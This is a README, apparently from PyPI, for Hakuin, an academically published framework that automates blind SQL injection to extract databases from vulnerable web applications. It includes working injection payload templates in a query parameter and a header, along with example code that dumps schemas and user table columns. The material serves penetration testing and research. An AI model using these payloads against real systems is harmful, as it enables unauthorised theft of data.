Package: hakuin
Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstract away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, such as pre-trained and adaptive language models, opportunistic guessing, parallelism and more.Hakuin has been presented at esteemed academic and industrial conferences:BlackHat MEA, Riyadh, 2023Hack in the Box, Phuket, 2023IEEE S&P Workshop on Offsensive Technology (WOOT), 2023More information can be found in ourpaperandslides.InstallationTo install Hakuin, simply run:pip3 install hakuinDevelopers should install the package locally and set the-eflag for editable mode:git clone git@github.com:pruzko/hakuin.git
cd hakuin
pip3 install -e .ExamplesOnce you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from theRequesterand override therequestmethod. Also, the method must determine whether the query resolved toTrueorFalse.Example 1 - Query Parameter Injection with Status-based InferenceimportaiohttpfromhakuinimportRequesterclassStatusRequester(Requester):asyncdefrequest(self,ctx,query):r=awaitaiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')returnr.status==200Example 2 - Header Injection with Content-based InferenceclassContentRequester(Requester):asyncdefrequest(self,ctx,query):headers={'vulnerable-header':f'xxx" OR ({query}) --'}r=awaitaiohttp.get(f'http://vuln.com/',headers=headers)return'found'inawaitr.text()To start extracting data, use theExtractorclass. It requires aDBMSobject to contruct queries and aRequesterobject to inject them. Hakuin currently supportsSQLite,MySQL,PSQL(PostgreSQL), andMSSQL(SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement theDBMSinterface defined inhakuin/dbms/DBMS.py.Example 1 - Extracting SQLite/MySQL/PSQL/MSSQLimportasynciofromhakuinimportExtractor,Requesterfromhakuin.dbmsimportSQLite,MySQL,PSQL,MSSQLclassStatusRequester(Requester):...asyncdefmain():# requester:    Use this Requester# dbms:         Use this DBMS# n_tasks:      Spawns N tasks that extract column rows in parallelext=awaitExtractor(requester=StatusRequester(),dbms=SQLite(),n_tasks=1)...if__name__=='__main__':asyncio.get_event_loop().run_until_complete(main())Now that eveything is set, you can start extracting DB schemas.Example 1 - Extracting DB Schemas# strategy:#   'binary':   Use binary search#   'model':    Use pre-trained modelsschema=awaitext.extract_schema(strategy='model')Example 2 - Extracting only Table/Column Namestables=awaitext.extract_table_names(strategy='model')columns=awaitext.extract_column_names(table='users',strategy='model')Once you know the schema, you can extract the actual content.Example 1 - Extracting Generic Columns# text_strategy:    Use this strategy if the column is textres=awaitext.extract_column(table='users',column='address',text_strategy='dynamic')Example 2 - Extracting Textual Columns# strategy:#   'binary':       Use binary search#   'fivegram':     Use five-gram model#   'unigram':      Use unigram model#   'dynamic':      Dynamically identify the best strategy. This setting#                   also enables opportunistic guessing.res=awaitext.extract_column_text(table='users',column='address',strategy='dynamic')Example 3 - Extracting Integer Columnsres=awaitext.extract_column_int(table='users',column='id')Example 4 - Extracting Float Columnsres=awaitext.extract_column_float(table='products',column='price')Example 5 - Extracting Blob (Binary Data) Columnsres=awaitext.extract_column_blob(table='users',column='id')More examples can be found in thetestsdirectory.Using Hakuin from the Command LineHakuin comes with a simple wrapper tool,hk.py, that allows you to use Hakuin's basic functionality directly from the command line. To find out more, run:python3 hk.py -hFor ResearchersThis repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install thefrozen versionas it contains the original code, experiment scripts, and an instruction manual for reproducing the results.Cite Hakuin@inproceedings{hakuin_bsqli,
  title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
  author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
  booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
  pages={384--393},
  year={2023},
  organization={IEEE}
}